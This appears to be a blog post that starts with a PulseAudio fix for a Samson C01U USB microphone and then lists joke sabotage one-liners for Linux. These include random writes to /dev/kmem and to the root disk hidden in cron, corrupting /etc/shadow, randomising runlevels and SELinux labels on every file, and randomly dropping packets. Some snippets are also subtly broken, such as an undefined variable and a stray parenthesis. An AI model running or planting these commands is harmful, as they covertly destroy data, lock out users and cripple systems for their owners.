Mapping a Samson CO1U mic to a single channel

Okay, this is not strictly “Breaking Systems”, but it is useful. If you are lucky like me, you own a Samson C01U USB mic. Great little mic. Unfortunately, it maps its mono output two two channels, showing up like a stereo mic in Linux. The right channel is the (weak) signal that comes out of the pre-amp, and the right signal is the amplified signal. (Do not forget to adjust those two channels separately in your mixer for best results)

The easy fix? Use a custom pulseaudio source to remap only the left channel to a new input source.

Add the following line to /etc/pulse/defaults.pas

load-module module-remap-source source_name=GoodMic master=alsa_input.usb-Samson_Technologies_Samson_C01U-00-C01U.analog-stereo channels=1 master_channel_map=left channel_map=left remix=false

Then restart your pulseaudio daemon (pulseadio --kill; pulseaudio --start)

We are all the same…

To have some fun add the following line to the defaults and all device sections of your /etc/multipath.conf file:

getuid_callout  "echo byebyestorage"

Russian Roulette

This one was sent in by DIVI:

dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM

This would be a nice one to hide somewhere in /etc/cron.d/

Subtle login problem

This one was sent in by Ed van der Salm:

sed -i 's/:$6/:$5/g' /etc/shadow

Thanks Ed!

Now that’s a proper startup

sed -i 's/runlevel="$argv1"/runlevel="$[{RANDOM} % 7 ]"/' /etc/rc.d/rc

Defaults are fine, right?

chcon -t default_t /


ip rule add to unreachable

SELinux fun

TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find /); do
    chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done) &> /dev/null


iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP

Accelerated bitrot

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc